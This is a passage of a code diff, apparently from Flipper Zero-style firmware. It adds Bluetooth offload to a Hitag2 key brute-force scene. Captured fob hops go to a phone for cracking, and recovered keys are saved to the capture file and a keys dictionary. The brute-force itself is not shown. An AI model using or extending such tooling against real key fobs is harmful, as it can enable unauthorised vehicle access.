uint32_t uid = subghz_hitag2_bf_get_uid(ctx->bf);
|
||||
uint32_t l0_start = 0;
|
||||
uint32_t l0_end = 0;
|
||||
|
||||
uint8_t req[BLE_SVC_SERIAL_CUSTOM_DATA_LEN_MAX];
|
||||
uint16_t off = 0;
|
||||
req[off++] = HT_MSG_BF_REQUEST; // [0]
|
||||
memcpy(req + off, &uid, 4); // [1..4] uid LE
|
||||
off += 4;
|
||||
memcpy(req + off, &l0_start, 4); // [5..8] l0_start LE
|
||||
off += 4;
|
||||
memcpy(req + off, &l0_end, 4); // [9..12] l0_end LE
|
||||
off += 4;
|
||||
req[off++] = cap_count; // [13] capture_count
|
||||
|
||||
for(uint8_t i = 0; i < cap_count; i++) {
|
||||
uint16_t control = 0;
|
||||
uint8_t button = 0;
|
||||
uint32_t hop = 0;
|
||||
subghz_hitag2_bf_get_capture(ctx->bf, i, NULL, &control, &button, &hop);
|
||||
req[off++] = button; // btn:1
|
||||
memcpy(req + off, &control, 2); // cnt:2 LE
|
||||
off += 2;
|
||||
memcpy(req + off, &hop, 4); // hop:4 LE
|
||||
off += 4;
|
||||
}
|
||||
|
||||
bt_custom_data_tx(bt, req, off);
|
||||
|
||||
furi_record_close(RECORD_BT);
|
||||
ctx->ble_offload = true;
|
||||
return true;
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
static int32_t hitag2_bf_thread(void* context) {
|
||||
Hitag2BfCtx* ctx = context;
|
||||
|
||||
@@ -293,8 +473,13 @@ void subghz_scene_hitag2_bf_on_enter(void* context) {
|
||||
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdHitag2Bf);
|
||||
|
||||
ctx->start_tick = furi_get_tick();
|
||||
ctx->thread = furi_thread_alloc_ex("Hitag2BF", 4096, hitag2_bf_thread, ctx);
|
||||
furi_thread_start(ctx->thread);
|
||||
|
||||
// Try BLE offload first, fall back to the local worker thread if no phone
|
||||
// is connected.
|
||||
if(!hitag2_ble_start_offload(ctx)) {
|
||||
ctx->thread = furi_thread_alloc_ex("Hitag2BF", 4096, hitag2_bf_thread, ctx);
|
||||
furi_thread_start(ctx->thread);
|
||||
}
|
||||
}
|
||||
|
||||
bool subghz_scene_hitag2_bf_on_event(void* context, SceneManagerEvent event) {
|
||||
@@ -305,6 +490,7 @@ bool subghz_scene_hitag2_bf_on_event(void* context, SceneManagerEvent event) {
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == HITAG2_BF_EVENT_DONE) {
|
||||
hitag2_ble_cleanup(ctx);
|
||||
if(ctx->thread) {
|
||||
furi_thread_join(ctx->thread);
|
||||
furi_thread_free(ctx->thread);
|
||||
@@ -312,8 +498,12 @@ bool subghz_scene_hitag2_bf_on_event(void* context, SceneManagerEvent event) {
|
||||
}
|
||||
|
||||
if(ctx->success) {
|
||||
// Persist key into the file
|
||||
// Persist key into the .sub file
|
||||
hitag2_bf_write_key_to_fff(ctx);
|
||||
// ...and grow the known-keys dictionary so it's found instantly
|
||||
// next time. Fires for both local finds and offloaded (phone)
|
||||
// finds, since both converge on this DONE handler.
|
||||
hitag2_bf_append_key_to_dict(ctx);
|
||||
subghz_save_protocol_to_file(
|
||||
subghz,
|
||||
subghz_txrx_get_fff_data(subghz->txrx),
|
||||
@@ -366,6 +556,14 @@ bool subghz_scene_hitag2_bf_on_event(void* context, SceneManagerEvent event) {
|
||||
return true;
|
||||
|
||||
} else if(event.event == SubGhzCustomEventViewTransmitterBack) {
|
||||
if(ctx->ble_offload) {
|
||||
// Tell the phone to stop the offloaded attack
|
||||
Bt* bt = furi_record_open(RECORD_BT);
|
||||
uint8_t cancel_msg = HT_MSG_BF_CANCEL;
|
||||
bt_custom_data_tx(bt, &cancel_msg, 1);
|
||||
furi_record_close(RECORD_BT);
|
||||
hitag2_ble_cleanup(ctx);
|
||||
}
|
||||
if(ctx->thread) {
|
||||
ctx->cancel = true;
|
||||
furi_thread_join(ctx->thread);
|
||||
@@ -390,6 +588,7 @@ void subghz_scene_hitag2_bf_on_exit(void* context) {
|
||||
subghz->scene_manager, SubGhzSceneHitag2Bf);
|
||||
|
||||
if(ctx) {
|
||||
hitag2_ble_cleanup(ctx);
|
||||
if(ctx->thread) {
|
||||
ctx->cancel = true;
|
||||
furi_thread_join(ctx->thread);
|
||||
|
||||
Reference in new issue
Block a user